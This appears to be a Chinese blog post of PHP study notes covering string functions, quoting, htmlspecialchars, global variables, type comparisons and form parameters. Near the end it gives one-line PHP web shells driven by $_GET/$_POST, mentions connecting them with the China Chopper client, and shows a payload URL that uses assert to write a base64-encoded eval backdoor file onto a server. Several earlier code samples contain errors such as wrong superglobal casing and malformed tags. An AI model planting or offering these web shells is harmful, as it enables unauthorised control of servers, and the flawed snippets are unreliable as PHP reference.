PHP函数笔记

sql注入常见函数

stripcslashes()

stripcslashes() 函数删除由 addcslashes() 函数添加的反斜杠。

<?php
echo stripslashes("Hello \World!");
?>

php中单引号和双引号的区别

单引号 性子急 不解释 直接出 a is $a

双引号 慢悠悠 解释完了再输出 a is 123

在PHP代码中尽量使用单引号,若包含变量需要进行解析时,则使用双引号

1,htmlspecialchars():将特殊字符转换为html实体

$str = htmlspecialchars(string,flags,character-set,double_encode);

string:规定要转换的字符串;

flags :可选参数,规定如何处理引号、无效的编码以及使用哪种文档类型;

character-set:可选参数,规定了要使用的字符集的字符串,e.g.UTF-8

double_encode:可选参数,可选参数,一个规定了是否编码已存在的 HTML 实体的布尔值(TRUE:默认,将对每个实体进行转换;FALSE:不会对已存在的 HTML 实体进行编码);

<?php

header("content-type:text/html;charset=utf-8");//设置编码,解决中文乱码

$string = "ggbiji & 'ggbiji'";

$string1 = htmlspecialchars($string, ENT_COMPAT); // 默认,仅编码双引号

$string2 = htmlspecialchars($string, ENT_QUOTES); // 编码双引号和单引号

$string3 = htmlspecialchars($string, ENT_NOQUOTES); // 不编码任何引号

echo $string1."<br/>\n";

echo $string2."<br/>\n";

echo $string3."<br/>\n";

?>

2,函数体内引用全局变量,必须在函数内部使用“global”关键字

<?php
$a = 1;
function Test()
{
    global $a;
	echo "a =$a";
}
Test();
?>

3,用户定义的函数和语言关键字对大小写不敏感

<?php
function TEST()
{
    echo "nihao,word!\n";
}
test();
?>

4,在 PHP 中,不区分大小写的关键字 NULL 用于没有定义值的情况。

5,null 与 false 类型不一样。

6,声明常量使用关键字 define 下面是使用和声明常量的例子

define(PI,3.14);
printf("PI = %.2f\n",PI);

7,字符串文 0 是转换为布尔值的特殊情况,它转换为 false。

<?php
$var = '0';
if ($var) {
    echo 'true';
} else {
    echo 'false';
}
?>

8,PHP创建注释的方法

//这里可以写注释C中借用
/*这里也可以写C++中借用*/
#这里也可以呦shell代码中借用

9,空数组转化为 null

<?php
$a = array();
if ($a == null) {
    echo 'true';
} else {
    echo 'false';
}
?>

10,=== 是值相等且类型相同,false 属于布尔类型,而 null 属于特殊的 null 类型

<?php
if (null === false) {
    echo 'true';
} else {
    echo 'false';
}
?>

11,数值字符串作为整数进行比较。

<?php
if ('2' == '02') {
    echo 'true';
} else {
    echo 'false';
}
?>

12,$_Get()he $_POST函数是用来传参数的值的

<a  herf="2.php?id='10'&name='xiaoqiang'">传值</a>  在1.php中单击超链接传值
<?php

echo "$_Get['id']";

echo "$_Post['name']";

?>

<html>

<head>

</head>

<body>

<form action="" method="post">

<input type="text" name="test" /> //接收表单的name为 "mima"的数据

<?php>

echo "$_Post['test']";  //获取文本框中的值,并且在当前页中显示

?>

</body>

</html>

1.php <?php $_GET['a']($_POST['b'])?>;

127.0.0.1/1.php?a=eval   菜刀链接  密码为b

使用eval会报错生产木马失败,使用assert也会报错但会生成木马

代码:

$_GET[a]($_GET[b]);

仅用GET函数就构成了木马;

利用方法:

?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29

fputs(fopen(base64_decode(Yy5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x))

fputs(fopen(base64_decode(c.php),w),base64_decode(<?php @eval($_POST[c]); ?>1))

14, .=和+=

//.=通俗的说,就是累积。

+=意思是:左边的变量的值加上右边的变量的值再赋给左边的变量。

 

 

 

 

 

 

 

 

 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值